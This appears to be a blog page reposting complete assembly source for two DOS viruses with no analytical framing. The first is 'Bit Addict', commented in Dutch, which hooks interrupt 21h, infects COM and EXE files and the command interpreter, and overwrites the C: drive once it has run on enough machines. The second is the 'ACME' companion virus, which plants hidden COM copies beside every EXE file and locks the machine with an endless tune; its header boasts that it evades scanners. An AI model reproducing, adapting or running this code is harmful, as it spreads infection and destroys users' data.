Pages

Web hosting
Showing posts with label VB. Show all posts
Showing posts with label VB. Show all posts

Bit Addict Versie 9





; Bit Addict Versie 9


; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
; wordt dan 128 bytes en er dus een foutmelding komt

dfn    macro    Num1,Num2
    db    Num1
    dw    offset Num2
    endm

jmpc    macro    Dest            ; vervanging voor jc
    local    @@00

    jnc    @@00
    jmp    Dest
@@00:
    endm

jmpnc    macro    Dest            ; vervanging voor jnc
    local    @@00

    jc    @@00
    jmp    Dest
@@00:
    endm

jmpe    macro    Dest            ; vervanging voor je
    local    @@00

    jnz    @@00
    jmp    Dest
@@00:
    endm

jmpne    macro    Dest            ; vervanging voor jne
    local    @@00

    jz    @@00
    jmp    Dest
@@00:
    endm

eseg segment
    mov    ax,4c00h        ; exit
    int    21h
eseg ends

;-----------------------------------------------------------------------------
;-----                                                                   -----
;-----              Begin van het Bit Addict virus                       -----
;-----                                                                   -----
;-----------------------------------------------------------------------------

cseg segment
    assume    cs:cseg,ds:cseg,es:cseg
    org    0

BeginCode    equ    $                ; begin van het virus

CodeSize    equ    CodeEnd-BeginCode        ; de grootte van het
CodeSizePara    equ    (CodeEnd-BeginCode+0fh) / 10h    ; virus achter een file

VirusSize    equ    VirusEnd-BeginCode        ; de grootte van het
VirusSizePara    equ    (VirusEnd-BeginCode+0fh) / 10h    ; virus in het geheugen

HeaderLength    equ    18h                ; grootte van een

SavedCode    equ    this byte            ; gegevens over het
OldSignature    dw    5a4dh                ; programma voor het
OldCSIP        equ    this dword            ; virus
OldIP        dw    0
OldCS        dw    0
OldSP        dw    200h
OldSS        dw    0
OldPartPage    dw    0
OldPageCount    dw    0

Begin:    push    ax                ; Programma om het virus
    push    ds                ; resident te laten blijven
    push    es                ; en om de comspec te
    call    Init                ; infecteren
    jnc    @@12
    call    BiosCheck            ; Als bit addict op een andere
    push    cs                ; computer draait wordt er een
    pop    es                ; teller verhoogt.
    xor    al,al
    mov    cx,VirusSize-CodeSize        ; zet alle variabelen op nul
    mov    di,CodeSize
    cld
    rep    stosb                ; debug interrupt 21h om het
    call    DebugOn                ; orginele interrupt te vinden
    pop    es
    push    es
    mov    ah,4ah                ; en reserveer geheugen voor
    mov    bx,-1                ; bit addict.
    call    DOS
    push    bx
    call    DebugOff
    pop    bx
    mov    ax,cs
    pop    dx
    push    dx   
    sub    ax,dx
    add    ax,cs:MinMem
    add    ax,CodeSizePara+VirusSizePara+1
    cmp    bx,ax
    jb    @@12
    mov    ah,4ah
    sub    bx,VirusSizePara+1
    int    21h
    jb    @@12
    mov    ah,48h
    mov    bx,VirusSizePara
    int    21h
    jb    @@12
    mov    es,ax
    dec    ax
    mov    ds,ax
    mov    word ptr ds:[1],8
    call    CopyBitAddict            ; Copieer bit addict naar
    pop    es                ; het gereserveerde geheugen
    push    es                ; Infecteer bestand in de
    call    InfectComspec            ; comspec
@@12:    pop    es
    pop    ds                ; ga nu verder met het
    pop    ax                ; programma voor Bit Addict
    cli
    mov    ss,cs:OldSS
    mov    sp,cs:OldSP
    sti
    jmp    cs:OldCSIP


Comspec        db    'COMSPEC='    ; comspec environment variabele
                    ; om de command.com te vinden

ID        dw    0DEADh        ; hier wordt het virus herkend
                    ; als het in het geheugen staat

Count        dw    0        ; In deze variabele staat op
                    ; hoeveel verschillende
                    ; computers het virus is
                    ; geweest
Bios        db    10h dup(0)    ; Gegevens over de bios,
                    ; door dit te vergelijken met
                    ; de bios kan het virus weten
                    ; of het virus op een andere
                    ; computer draait

CopyBitAddict:
    push    cs                ; copieer Bit Addict naar de
    pop    ds                ; gereserveerde buffers
    xor    si,si
    xor    di,di
    mov    cx,VirusSize
    cld
    rep    movsb
    xor    ax,ax                ; leid interrupt 21h om naar
    mov    ds,ax                ; Bit Addict
    mov    word ptr ds:[84h],offset NewInt21
    mov    word ptr ds:[86h],es
    ret

InfectComspec:
    mov    es,es:[2ch]            ; lees environment segment
    xor    di,di
    push    cs                ; zoek naar de comspec
    pop    ds                ; variabele
    mov    si,offset Comspec
@@30:    push    si
    push    di
    mov    cx,8
    cld
    repe    cmpsb
    pop    di
    pop    si
    je    @@31
    xor    al,al
    mov    cx,-1
    cld
    repne    scasb
    cmp    byte ptr es:[di],0        ; is dit de laatste variabele ?
    jne    @@30
    jmp    short @@33
@@31:    push    es                ; infecteer de COMMAND.COM of
    pop    ds                ; andere command interpreter,
    cmp    byte ptr ds:[di+9],':'        ; maar doe dit alleen wanneer
    jne    @@32                ; de comspec naar de c of de
    mov    al,ds:[di+8]            ; d-drive wijst.
    and    al,0dfh
    cmp    al,'C'
    je    @@32
    cmp    al,'D'
    jne    @@33
@@32:    lea    dx,[di+8]
    push    cs:OldIP            ; bewaar alle variabelen die
    push    cs:OldCS            ; we nog nodig hebben.
    push    cs:OldSP
    push    cs:OldSS
    call    Infect                ; infecteren
    pop    cs:OldSS            ; herstel alle variabelen die
    pop    cs:OldSP            ; we nog nodig hebben
    pop    cs:OldCS
    pop    cs:OldIP
@@33:    ret

DebugOn:push    ax                ; deze procedere is om de
    push    ds                ; trap-flag te zetten, en
    xor    ax,ax                ; interrupt 1 te initialiseren
    mov    ds,ax
    cli
    mov    ax,ds:[4h]
    mov    word ptr cs:OldInt1[0],ax
    mov    ax,ds:[6h]
    mov    word ptr cs:OldInt1[2],ax
    mov    word ptr ds:[4],offset NewInt1
    mov    word ptr ds:[6],cs
    mov    ax,ds:[84h]
    mov    word ptr cs:OldInt21[0],ax
    mov    ax,ds:[86h]
    mov    word ptr cs:OldInt21[2],ax
    mov    word ptr cs:DosInt21[0],0
    mov    word ptr cs:DosInt21[2],0
    pushf
    pop    ax
    or    ah,1
    push    ax
    popf
    sti
    pop    ds
    pop    ax
    ret

DebugOff:                    ; deze procedure zet de
    push    ax                ; trap-flag weer op nul en
    push    ds                ; herstelt interrupt 1.
    cli
    pushf
    pop    ax
    and    ah,0feh
    push    ax
    popf
    xor    ax,ax
    mov    ds,ax
    mov    ax,word ptr cs:OldInt1[0]
    mov    ds:[4],ax
    mov    ax,word ptr cs:OldInt1[2]
    mov    ds:[6],ax
    sti
    pop    ds
    pop    ax
    ret

Init:    push    cs
    pop    ds
    cmp    OldSignature,5a4dh
    je    @@50
    mov    si,offset SavedCode        ; herstel begin van het
    mov    di,100h                ; com-programma
    mov    cx,Dead-ComHeader+2
    cld
    rep    movsb
    mov    OldSS,ss            ; bewaar de waarden van
    mov    OldSP,sp            ; ss,sp,cs en ip
    sub    OldSP,10h
    mov    OldCS,es
    mov    OldIP,100h
    jmp    short @@51
@@50:    mov    ax,es                ; bereken de waarden van
    add    ax,10h                ; ss,sp,cs en ip
    add    OldCS,ax
    add    OldSS,ax
@@51:    mov    ax,4b40h            ; controleer of Bit Addict al
    int    21h                ; in het geheugen aanwezig is
    jc    @@52
    mov    ds,ax
    mov    ax,word ptr ds:ID        ; vergelijk identificatie
    cmp    ax,word ptr cs:ID
    je    @@52
    stc
@@52:    ret

BiosCheck:                    ; deze procedure vergelijkt
    mov    ax,0ffffh            ; de bios, met de gegevens
    mov    ds,ax                ; over de bios in het virus,
    push    cs                ; zijn deze niet gelijk, dan
    pop    es                ; zal het virus op een andere
    xor    si,si                ; computer draaien, en wordt
    mov    di,offset Bios            ; er een teller verhoogt, komt
    mov    cx,10h                ; deze teller boven de 255 dan
    cld                    ; zal het bit-addict virus
    repe    cmpsb                ; actief worden.
    je    @@54
    mov    ax,cs:Count
    inc    ax
    cmp    ax,100h
    jb    @@53
    call    BitAddict
@@53:    mov    cs:Count,ax
    xor    si,si
    mov    di,offset Bios
    mov    cx,10h
    rep    movsb
@@54:    ret

BitAddict:                    ; in deze procedure wordt
    xor    dx,dx                ; de c-drive overscreven met
@@55:    push    dx                ; onzin, dit mag verandert
    mov    ax,3                ; worden, om het virus iets
    xor    bx,bx                ; anders te laten doen, een
    mov    cx,40h                ; muziekje spelen, of met het
    int    26h                ; toetsenbord spelen
    pop    ax                ; bijvoorbeeld.
    pop    dx
    add    dx,40h
    or    dx,dx
    jne    @@55
    ret

NewInt1:push    bp                ; deze procedure wordt
    mov    bp,sp                ; gebruikt bij het debuggen
    push    ax
    mov    ax,word ptr cs:DosInt21[0]
    or    ax,word ptr cs:DosInt21[2]
    jnz    @@60
    cmp    word ptr ss:[bp+4],300h
    jae    @@61
    mov    ax,ss:[bp+2]
    mov    word ptr cs:DosInt21[0],ax
    mov    ax,ss:[bp+4]
    mov    word ptr cs:DosInt21[2],ax
@@60:    and    word ptr ss:[bp+6],0feffh
@@61:    pop    ax
    pop    bp
    iret

DOS:    push    ax                ; roept interrupt 21h aan.
    mov    ax,word ptr cs:DosInt21[0]
    or    ax,word ptr cs:DosInt21[2]
    pop    ax
    jnz    @@62
    pushf
    call    cs:OldInt21
    ret
@@62:    pushf
    call    cs:DosInt21
    ret

Functions:                    ; dit is een tabel met alle
    dfn    3ch,Open            ; dos-functies die door
    dfn    3dh,Open            ; bit-addict verandert worden
    dfn    3eh,Close
    dfn    3fh,Read
    dfn    40h,Write
    dfn    4bh,Exec

NewInt21:                    ; Het nieuwe interrupt 21h
    pushf
    push    bx
    push    bp
    mov    bp,sp
    mov    bx,offset Functions
@@63:    cmp    ah,cs:[bx]
    je    @@68
    add    bx,3
    cmp    bx,offset NewInt21
    jne    @@63
    pop    bp
    pop    bx
EOI:    popf
    jmp    cs:OldInt21
@@68:    mov    bx,cs:[bx+1]
    xchg    bx,ss:[bp+2]
    pop    bp
    ret

InstallCheck:                    ; Zo kan bit addict weten
    mov    ax,cs                ; dat er al een andere copy
    popf                    ; aanwezig is
    clc
    retf    2

Exec:    cmp    al,40h
    je    InstallCheck
    call    CheckExtension            ; functie 4bh, infecteer eerst
    jc    EOI                ; met Bit Addict
    popf
    push    dx
    push    ds
    pushf
    call    cs:OldInt21
    pop    ds
    pop    dx
    pushf
    call    Infect
    popf
    retf    2

Open:    call    CheckExtension            ; fn 3ch en 3dh
    jc    EOI
    call    cs:OldInt21
    jc    @@92
    pushf
    push    ax
    push    cx
    push    si
    push    di
    push    es
    push    cs
    pop    es
    mov    si,dx
    mov    di,offset File1
    cmp    word ptr es:[di],0
    je    @@90
    mov    di,offset File2
    cmp    word ptr es:[di],0
    jne    @@91
@@90:    cld
    stosw
    mov    cx,70
    rep    movsb
@@91:    pop    es
    pop    di
    pop    si
    pop    cx
    pop    ax
    popf
@@92:    retf    2

Close:    cmp    bx,cs:File1            ; fn 3eh
    je    @@93
    cmp    bx,cs:File2
    jne    EOI
    call    cs:OldInt21
    push    si
    mov    si,offset File2
    jmp    short @@94
@@93:    call    cs:OldInt21
    push    si
    mov    si,offset File1
@@94:    jc    @@95
    pushf
    push    dx
    push    ds
    push    cs
    pop    ds
    lea    dx,[si+2]
    call    Infect
    pop    ds
    pop    dx
    popf
@@95:    mov    word ptr cs:[si],0
    pop    si
    retf    2

Read:    jmp    EOI                ; fn 3fh

Write:    jmp    EOI                ; fn 40h

CheckExtension:                    ; controleer of de extensie
    push    ax                ; wel exe of com is
    push    cx
    push    si
    push    di
    push    es
    push    ds
    pop    es
    mov    di,dx                ; zoek het einde van de
    xor    al,al                ; file-naam
    mov    cx,70
    cld
    repne    scasb
    jne    @@65
    std
    mov    al,'.'                ; zoek de laatste punt
    neg    cx
    add    cx,70
    std
    repne    scasb
    jne    @@65
    lea    si,[di+2]
    cld
    lodsw                    ; eerste 2 letters
    and    ax,0dfdfh            ; maak hoofdletters
    cmp    ax,5845h            ; 'EX'
    je    @@64
    cmp    ax,4f43h            ; 'CO'
    jne    @@65
    lodsb                    ; 3e letter
    and    al,0dfh
    cmp    al,4dh                ; 'M'
    je    @@66
    jmp    short @@65
@@64:    lodsb                    ; 3e letter
    and    al,0dfh
    cmp    al,45h                ; 'E'
    je    @@66
@@65:    stc
    jmp    short @@67
@@66:    clc
@@67:    pop    es
    pop    di
    pop    si
    pop    cx
    pop    ax
    ret

ComHeader:                    ; dit stukje wordt voor een
    mov    ax,cs                ; COM-file geplaatst, en is om
    add    ax,0100h            ; het virus te starten.
OldSize    equ    this word-2
    push    ax
    mov    ax,offset Begin
    push    ax
    retf
Dead    equ    $
    dw    0DEADh                ; signature, om te controleren
                        ; of een file al eens eerder
                        ; besmet is.

Infect:    push    ax                ; Infecteer een file
    push    bx
    push    cx
    push    si
    push    di
    push    bp
    push    es
    mov    ax,4300h            ; lees attributen en bewaar
    call    DOS                ; ze
    jmpc    @@83
    push    cx
    push    dx
    push    ds
    test    cx,1
    jz    @@71
    mov    ax,4301h            ; set Read-Only attribuut
    and    cx,0fffeh            ; op nul
    call    DOS
    jmpc    @@82
@@71:    mov    ax,3d02h            ; open de file
    call    DOS
    jmpc    @@82
    mov    bx,ax
    mov    ax,5700h            ; lees de datum en tijd en
    call    DOS                ; bewaar ze
    jmpc    @@81
    push    cx
    push    dx
    push    cs                ; ds=es=cs
    pop    ds
    push    cs
    pop    es
    mov    ah,3fh                ; lees de header van de file
    mov    cx,HeaderLength
    mov    dx,offset Header
    call    DOS
    jmpc    @@80
    cmp    ax,HeaderLength
    jne    @@75
    cmp    Signature,5a4dh            ; Controleer of ID aanwezig is
    jne    @@72
    cmp    ExeID,0DEADh
    jmp    @@73
@@72:    cmp    ComID,0DEADh
@@73:    jmpe    @@80                ; als ID aanwezig is, stop dan
@@74:    cmp    Signature,5a4dh
    je    @@77
@@75:    mov    ax,4202h            ; infecteer com-files
    xor    cx,cx                ; ga naar het einde van de file
    xor    dx,dx
    call    DOS
    mov    cx,10h                ; aanpassen van de com-header
    div    cx                ; aan deze com-file
    or    dx,dx
    je    @@76
    push    ax
    mov    ah,40h
    mov    cx,10h
    sub    cx,dx
    xor    dx,dx
    call    DOS
    pop    ax
    jmpc    @@80
    inc    ax
@@76:    add    ax,10h
    mov    OldSize,ax
    mov    si,offset Header        ; bewaar het eerste deel van
    mov    di,offset SavedCode        ; het programma
    mov    cx,Dead-ComHeader+2
    cld
    rep    movsb
    mov    ah,40h                ; schrijf het virus achter het
    mov    cx,CodeSize            ; programma
    xor    dx,dx
    call    DOS
    jmpc    @@80
    mov    ax,4200h            ; ga naar het begin van de file
    xor    cx,cx
    xor    dx,dx
    call    DOS
    jmpc    @@80
    mov    ah,40h                ; overschrijf het begin van het
    mov    cx,Dead-ComHeader+2        ; programma met de com-header
    mov    dx,offset ComHeader
    call    DOS
    jmp    @@80
@@77:    mov    di,offset SavedCode        ; infecteer exe-files
    mov    ax,5a4dh            ; bewaar de oude waarden van
    stosw                    ; cs:ip en ss:sp
    mov    ax,ExeIP
    stosw
    mov    ax,ExeCS
    stosw
    mov    ax,ExeSP
    stosw
    mov    ax,ExeSS
    stosw
    mov    ax,PartPage
    stosw
    mov    ax,PageCount
    stosw
    mov    ExeID,0DEADh            ; Zet ID in exe-header
    mov    ax,4202h
    xor    cx,cx
    xor    dx,dx
    int    21h
    mov    cx,10h
    div    cx
    or    dx,dx
    je    @@78
    push    ax
    push    dx
    mov    ah,40h
    mov    cx,10h
    sub    cx,dx
    xor    dx,dx
    call    DOS
    pop    dx
    pop    ax
    jc    @@80
    inc    ax
@@78:    sub    ax,HeaderSize
    mov    ExeCS,ax           
    mov    ExeIP,offset Begin
    add    ax,VirusSizePara
    mov    ExeSS,ax
    mov    ExeSP,200h
    mov    ax,MinMem
    cmp    ax,20h+VirusSizePara-CodeSizePara
    jae    @@79
    mov    ax,20h
@@79:    mov    MinMem,ax
    mov    ah,40h                ; schrijf het virus achter
    mov    cx,CodeSize            ; de exe-file
    xor    dx,dx
    call    DOS
    jc    @@80
    mov    ax,4202h            ; Pas de file-lengte in de
    xor    cx,cx                ; header aan, als de file veel
    xor    dx,dx                ; overlays bevat, dan zal de
    call    DOS                ; exe-file niet meer werken,
    mov    cx,200h                ; maar de file kan wel hersteld
    div    cx                ; worden.
    cmp    dx,1
    cmc
    adc    ax,0
    mov    PageCount,ax
    mov    PartPage,dx
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx                ; ga naar het begin van de file
    call    DOS
    jc    @@80
    mov    ah,40h                ; schrijf de nieuwe exe-header
    mov    cx,HeaderLength            ; over de oude heen.
    mov    dx,offset Header
    call    DOS
@@80:    pop    dx                ; herstel de datum van de file
    pop    cx
    mov    ax,5701h
    call    DOS
@@81:    mov    ah,3eh                ; sluit de file
    call    DOS
@@82:    pop    ds                ; herstel de attributen van de
    pop    dx                ; file
    pop    cx
    test    cx,1
    jz    @@83
    mov    ax,4301h
    call    DOS
@@83:    pop    es                ; herstel de waarden van de
    pop    bp                ; registers en keer terug
    pop    di                ; naar het oude interrupt 21
    pop    si
    pop    cx
    pop    bx
    pop    ax
    ret

CodeEnd        equ    $

Header        dw    HeaderLength/2 dup(0)
ComCS        equ    Header[OldSize-Comheader]    ; Com file
ComID        equ    Header[Dead-ComHeader]

Signature    equ    Header[0h]            ; Exe file
PartPage    equ    Header[2h]
PageCount    equ    Header[4h]
HeaderSize    equ    Header[8h]
MinMem        equ    Header[0ah]
MaxMem        equ    Header[0ch]
ExeSS        equ    Header[0eh]
ExeSP        equ    Header[10h]
ExeID        equ    Header[12h]
ExeIP        equ    Header[14h]
ExeCS        equ    Header[16h]

DosInt21    dd    0
OldInt21    dd    0
OldInt1        dd    0

File1        dw    36 dup(0)
File2        dw    36 dup(0)

VirusEnd    equ    $

cseg ends

sseg segment stack
    db    200h dup(1)
sseg ends

end Begin

ACME COMPANION VIRUS







; ACME COMPANION VIRUS
;
; ACME is a fast and simple companion virus which will create a
; spawned copy of itself for EVERY .EXE file it can find in the
; current directory.
;
; ACME is ready to assemble using A86. If you recall, an earlier Crypt
; letter included an A86-only source listing. (Strict TASM/MASM compatible
; assemblers will need the manual addition of a couple simple declarative
; statements.) I included ACME in this form so fans of Isaacson's
; technique can gloat about the code not requiring "red tape." ;-]
; A86 will assemble ACME directly to a .COMfile virus, no linker
; necessary.
;
; ACME currently eludes all scanners and as a companion virus, openly
; defies every integrity checker I have in my inventory with the EXCEPTION
; of Stiller Research's.  This issue includes a quality report on
; Solomon's Toolkit, so it's only fair to state that while the documentation
; for this product seems to indicate that the developers know what a
; companion infection is, the software does nothing to protect against
; it in default mode. ACME flies through the Toolkit, for now. Go figure.
;
; ACME will also play a generic ACME-style virus tune late in the
; afternoon. Those who fancy a musical virus but have never heard one are
; encouraged to play with ACME. Set your system clock to anytime after
; 4:00 pm. The musical payload takes up most of the space in this virus,
; removing it shaves the virus to 242 bytes - nice and small if you like.
;
; The virus purist may recognize the root of ACME as a piece of code known
; as ZENO - a small, single-step companion infector. ZENO's author is
; thanked, wherever he/she is.


START:         

        jmp  VIR_BEGIN    ; get going


WILDCARD        DB  "*.EXE",0
FILE_EXT        DB  "COM",0
FILE_FOUND      DB  12 DUP(' '), 0
FILE_CREATE     DB  12 DUP(' '), 0
SEARCH_ATTRIB   DW  17H
NUM_INFECT      DW  0
MUZIK           DW      4304,0006, 4063,0006, 4304,0006, 4063,0006, ;MUZIK - notes/delay
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006, ;in format xxxx,yyyy
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006,
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006,
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 5119,0006, 5423,0006, 3043,0006,
        DW      6087,0020,

        DW      6087,0006,
        DW      7239,0006, 3619,0006, 4831,0006, 6087,0006
        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006

        DW      6087,0006, 4063,0006, 3043,0006, 5119,0006
        DW      4831,0006, 6087,0006, 7239,0006, 8126,0006
        DW      6087,0020,

        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006,
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006,
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 5119,0006, 5423,0006, 3043,0006,
        DW      6087,0020,

        DW      6087,0006,
        DW      7239,0006, 3619,0006, 4831,0006, 6087,0006
        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006

        DW      6087,0006, 4063,0006, 3043,0006, 5119,0006
        DW      4831,0006, 6087,0006, 7239,0006, 8126,0006
        DW      6087,0020,

        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
        DW      3043,0006, 3619,0006, 4831,0006, 6087,0006
        DW      3043,0010,

        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006,
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 4831,0006, 4063,0006, 3043,0006,
        DW      4304,0006, 4063,0006, 4304,0006, 4063,0006,
        DW      3043,0006, 5119,0006, 5423,0006, 3043,0006,
        DW      6087,0020,

        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006
        DW      3043,0006, 3619,0006, 4831,0006, 6087,0006
        DW      3043,0010,

        DW      6087,0006,
        DW      7239,0006, 3619,0006, 4831,0006, 6087,0006
        DW      7670,0006, 7239,0006, 4831,0006, 3619,0006

        DW      6087,0006, 4063,0006, 3043,0006, 5119,0006
        DW      4831,0006, 6087,0006, 7239,0006, 8126,0006
        DW      6087,0020,

        DW      0ffffh



My_Cmd:
CMD_LEN         DB  13
FILE_CLONE      DB  12 DUP (' '), 0

;------------------------------------------------------------------;
Prepare_command:
           cld
           mov    di,OFFSET FILE_CLONE
           mov    al,0
           mov    cx,12
           repne scasb          ; find the end of string \0

           mov    al,0Dh        ; <CR>
           stosb                ; replace \0 with a <CR>

           mov    ax,12         ;store length of the command
           sub    ax,cx
           mov    CMD_LEN, al
           ret

;------------------------------------------------------------------;
Store_name:

           mov    di,OFFSET FILE_FOUND   ;Point to buffer.
           mov    si,158                 ;stow the file found in buffer
           mov    cx,12
           rep movsb

           mov    di,OFFSET FILE_CREATE  ;Point to buffer.
           mov    si,158
           mov    cx,12
           rep movsb

           cld
           mov    di,OFFSET FILE_CREATE
           mov    al,'.'
           mov    cx,9
           repne scasb                   ;find the '.'

           mov    si,OFFSET FILE_EXT
           mov    cx,3
           rep movsb                     ;replace the .EXE with .COM
                         ;from buffer
           ret


;------------------------------------------------------------------;
                      ;Does the file exist?

Check_file:
           mov    dx,OFFSET FILE_CREATE
           mov    cx,0
           mov    ax,3d00h        ; Open file, read only
           int    21h

Chk_done:
           ret

;------------------------------------------------------------------;
Infect_file:                                  ;create companion routine
                         
           mov    dx,OFFSET FILE_CREATE   ;contains name of "companion"
           mov    cx,0
           mov    ah,3ch                  ;construct file
           int    21h
           jc     EXIT

                          ;Write virus to companion file
           mov    bx,ax
           mov    cx,(OFFSET END_OF_CODE - OFFSET START) ;virus length
           mov    dx,OFFSET START
           mov    ah,40h                  ;write to file function
           int    21h                     ;do it

                          ;Close file
           mov    ah,3eh    ; ASSUMES bx still has file handle
           int    21h

                          ;Change attributes
           mov    dx,OFFSET FILE_CREATE   ;of created file to
           mov    cx,3          ;(1) read only and (2) hidden
           mov    ax,4301h
           int    21h

           ret

;------------------------------------------------------------------
; Read all the directory filenames and store as records in buffer.
;------------------------------------------------------------------

Vir_begin:
           mov     ah,02Ch          ;DOS get time function
           int     021h
           mov     al,ch            ;Copy hour into AL
           cbw                      ;Sign-extend AL into AX
           cmp     ax,0010h         ;Did the function return 16 (4 pm)?
           jge     TOON             ;If greater than or equal, muzik!
          
          
           mov    sp,offset STACK_HERE   ;move stack down
           mov    bx,sp
           add    bx,15
           mov    cl,4
           shr    bx,cl
           mov    ah,4ah                  ;deallocate rest of memory
           int    21h

           mov    di,OFFSET FILE_CLONE   ;Point to buffer.
           mov    si,OFFSET FILE_FOUND
           mov    cx,12
           rep    movsb

Read_dir:      mov    dx,OFFSET WILDCARD   ;file mask for directory search
           mov    cx,SEARCH_ATTRIB

           mov    ah,4Eh                ;find the first matching file
           int    21h

           jc     EXIT                   ;If empty directory, exit

Do_file:
           call   STORE_NAME
           call   CHECK_FILE
           call   INFECT_FILE



Find_next:
           mov   ah,4fh          ; find next file and keep finding until
           int   21h             ; all
           jnz   Do_File         ; infected

Exit:

                      ; Run the original program
           call   Prepare_command
           mov    si, OFFSET MY_CMD
           int    2Eh                 ; Pass command to command
                      ; interpreter for execution
                     
           mov    ax,4C00H            ; Exit to DOS
           int    21h

;-------------------------------------------------------------------
;This routine enables ACME virus to compel the pc to play the
;ACME virus song just about the time the clock-watchers are getting
;ready to leave
;-------------------------------------------------------------------
TOON:
           cli                        ;interrupts off
           mov     al,10110110xb      ;the number
           out     43h,al             ;to send to the speaker
           lea     si,MUZIK           ;point (si) to the ACME note table

TOON2:         cld                       
           lodsw                    ;load word into ax and increment (si)
           cmp     ax,0ffffh        ;is it ffff? If so, end of table
           jz      GO_MUZIK2        ;so, time to jump into endless loop
           out     42h,al          
           mov     al,ah           
           out     42h,al           ;send it next
           in      al,61h           ;get value to turn on speaker
           or      al,00000011xb    ;OR the gotten value
           out     61h,al           ;now we turn on speaker
           lodsw                    ;load the repeat loop count into (ax)
LOOP6: 
        mov     cx,8000         ;delay count
LOOP7: 
        loop    LOOP7           ;do the delay
        dec     ax              ;decrement repeat count
        jnz     LOOP6           ;if not = 0 loop back
        in      al,61h          ;all done
        and     al,11111100xb   ;number turns speaker off
        out     61h,al          ;send it
        jmp     short TOON2     ;now go do next note
GO_MUZIK2:                              ;our loop point
   
        sti                  ;enable interrupts
        jmp    TOON          ;jump back to beginning - this code
                     ; has the additional advantage of
                     ;locking out CTRL-ALT-DEL reboot.
            ;The user must do a hard reset to recover from ACME.



END_OF_CODE     =       $

STACK_HERE      EQU   END_OF_CODE + 512